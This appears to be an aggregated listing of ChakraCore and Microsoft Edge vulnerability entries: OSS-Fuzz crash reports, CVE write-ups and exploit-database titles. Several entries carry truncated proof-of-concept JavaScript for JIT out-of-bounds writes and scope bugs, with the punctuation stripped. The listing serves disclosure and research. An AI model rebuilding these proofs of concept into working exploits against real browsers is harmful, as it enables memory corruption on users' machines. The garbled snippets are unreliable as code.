chakra: Crash in Js::JavascriptPromise::ResolveHelper

Project: https://github.com/Microsoft/ChakraCore.git Detailed report: https://oss-fuzz.com/testcase?key=4883765965881344 Project: chakra Fuzzer: jsfuzzer Job Type: asanchakra Platform Id: linux Crash Type: UNKNOWN READ Crash Address: 0x7f2d885c84d8 Crash State: Js::JavascriptPromise::ResolveHelpe...

chakra: Heap-use-after-free in Js::LiteralStringWithPropertyStringPtr::NewFromCString

Project: https://github.com/Microsoft/ChakraCore.git Detailed report: https://oss-fuzz.com/testcase?key=4913256519958528 Project: chakra Fuzzer: jsfuzzer Job Type: asanchakra Platform Id: linux Crash Type: Heap-use-after-free READ 1 Crash Address: 0x61100000a600 Crash State:...

chakra: Heap-double-free in void Memory::SmallHeapBlockT<SmallAllocationBlockAttributes>::SweepObjects<

Project: https://github.com/Microsoft/ChakraCore.git Detailed report: https://oss-fuzz.com/testcase?key=5709198886174720 Project: chakra Fuzzer: jsfuzzer Job Type: asanchakra Platform Id: linux Crash Type: Heap-double-free Crash Address: 0x61500002e100 Crash State: void...

chakra: Crash in Js::JavascriptError::Is

Project: https://github.com/Microsoft/ChakraCore.git Detailed report: https://oss-fuzz.com/testcase?key=6196917705900032 Project: chakra Fuzzer: jsfuzzer Job Type: asanchakra Platform Id: linux Crash Type: UNKNOWN READ Crash Address: 0x00107fff8004 Crash State: Js::JavascriptError::Is...

Microsoft Edge: Chakra: Deferred parsing makes wrong scopes #2(CVE-2018-0775)

Since the PoC is only triggerable when the "DeferParse" flag enabled and requires a with statement, I think this is simillar to issue 1310 . PoC: // Enable the flag using '\n'.repeat0x1000 evalfunction f with function printf; ; ; + '\n'.repeat0x1000; PoC 2: // ./ch poc.js -ForceDeferParse functio...

Microsoft Edge: Chakra: Incorrect scope handling(CVE-2018-0774)

PoC: function funcarg = function printfunc; // SetHasOwnLocalInClosure should be called for the param scope in the PostVisitFunction function. printfunc; function func ; Chakra fails to distinguish whether the function is referenced in the param scope and ends up to emit an invalid opcode. functi...

Microsoft Edge: Chakra: AsmJSByteCodeGenerator::EmitCall call handling bug(CVE-2018-0780)

AsmJSByteCodeGenerator::EmitCall which is used to emit call insturctions doesn't check if an array identifier is used as callee. The method handles those invalid calls in the same way it handles valid calls such as "arridx & ...". In these cases, the index register remains NoRegister which is...

Microsoft Edge: Chakra: JIT: stack-to-heap copy bug(CVE-2018-0776)

If variables don't escape the scope, the variables can be allocated to the stack. However, there are some situations, such as when a bailout happens or accessing to arguments containing stack-allocated variables, where those variables should not exist in the stack. In these cases, the...

Microsoft Edge: Chakra: JIT: Loop analysis bug(CVE-2018-0777)

Here's the PoC demonstrating OOB write. function optarr, start, end for let i = start; i end; i++ if i === 10 i += 0; // -- a arri = 2.3023e-320; function main let arr = new Array100; arr.fill1.1; for let i = 0; i 1000; i++ optarr, 0, 3; optarr, 0, 100000; main; What happens here is as follows: I...

Microsoft Edge: Chakra: JIT: Incorrect bounds calculation(CVE-2018-0769)

Let's start with comments in the "GlobOpt::TrackIntSpecializedAddSubConstant" method. // Track bounds for add or sub with a constant. For instance, consider b = a + 2. The value of 'b' should track // that it is equal to the value of 'a' + 2. That part has been done above. Similarly, the value of...

Microsoft Edge: Chakra: OOB read in AppendLeftOverItemsFromEndSegment(CVE-2018-0767)

Here's a snippet of AppendLeftOverItemsFromEndSegment in JavascriptArray.inl. growby = endSeg-length; current = current-GrowByMinrecycler, growby; CopyArraycurrent-elements + endIndex + 1, endSeg-length, Js::SparseArraySegmentendSeg-elements, endSeg-length;...

Microsoft Edge: Chakra: JavascriptGeneratorFunction::GetPropertyBuiltIns exposes scriptFunction(CVE-2017-11914)

Here's a snippet of the method. bool JavascriptGeneratorFunction::GetPropertyBuiltInsVar originalInstance, PropertyId propertyId, Var value, PropertyValueInfo info, ScriptContext requestContext, BOOL result if propertyId == PropertyIds::length ... int len = 0; Var varLength; if...

Microsoft Edge Chakra AsmJSByteCodeGenerator::EmitCall Call Handling

Microsoft Edge: Chakra: AsmJSByteCodeGenerator::EmitCall call handling bug CVE-2018-0780 AsmJSByteCodeGenerator::EmitCall which is used to emit call insturctions doesn't check if an array identifier is used as callee. The method handles those invalid calls in the same way it handles valid calls...

Microsoft Edge Chakra JIT Stack-To-Heap Copy Bug

Microsoft Edge: Chakra: JIT: stack-to-heap copy bug CVE-2018-0776 If variables don't escape the scope, the variables can be allocated to the stack. However, there are some situations, such as when a bailout happens or accessing to arguments containing stack-allocated variables, where those...

Microsoft Edge Chakra - Incorrect Scope Handling Exploit

Exploit for windows platform in category dos / poc // PoC: function funcarg = function printfunc; // SetHasOwnLocalInClosure should be called for the param scope in the PostVisitFunction function. printfunc; function func ; // Chakra fails to distinguish whether the function is referenced in the...

Microsoft Edge Chakra - AsmJSByteCodeGenerator::EmitCall Out-of-Bounds Read Exploit

Exploit for windows platform in category dos / poc / AsmJSByteCodeGenerator::EmitCall which is used to emit call insturctions doesn't check if an array identifier is used as callee. The method handles those invalid calls in the same way it handles valid calls such as "arridx & ...". In these case...

Microsoft Edge Chakra - JavascriptGeneratorFunction::GetPropertyBuiltIns Type Confusion Exploit

Exploit for windows platform in category dos / poc / Here's a snippet of the method. bool JavascriptGeneratorFunction::GetPropertyBuiltInsVar originalInstance, PropertyId propertyId, Var value, PropertyValueInfo info, ScriptContext requestContext, BOOL result if propertyId == PropertyIds::length...

The vulnerability of JavaScript ChakraCore and Microsoft Edge browsers, related to improper handling of objects in memory, allows attackers to gain control of the current user’s rights.

The vulnerability of JavaScript ChakraCore and the Microsoft Edge browser is related to improper handling of objects in memory. Exploiting this vulnerability can allow a remote attacker to gain privileges of the current user...

Microsoft Edge Chakra JIT - Incorrect Bounds Calculation Exploit

Exploit for windows platform in category dos / poc / Let's start with comments in the "GlobOpt::TrackIntSpecializedAddSubConstant" method. // Track bounds for add or sub with a constant. For instance, consider b = a + 2. The value of 'b' should track // that it is equal to the value of 'a' + 2...

Microsoft Edge Chakra JIT - Out-of-Bounds Write Exploit

Exploit for windows platform in category dos / poc // Here's the PoC demonstrating OOB write. function optarr, start, end for let i = start; i end; i++ if i === 10 i += 0; // -- a arri = 2.3023e-320; function main let arr = new Array100; arr.fill1.1; for let i = 0; i 1000; i++ optarr, 0, 3; optar...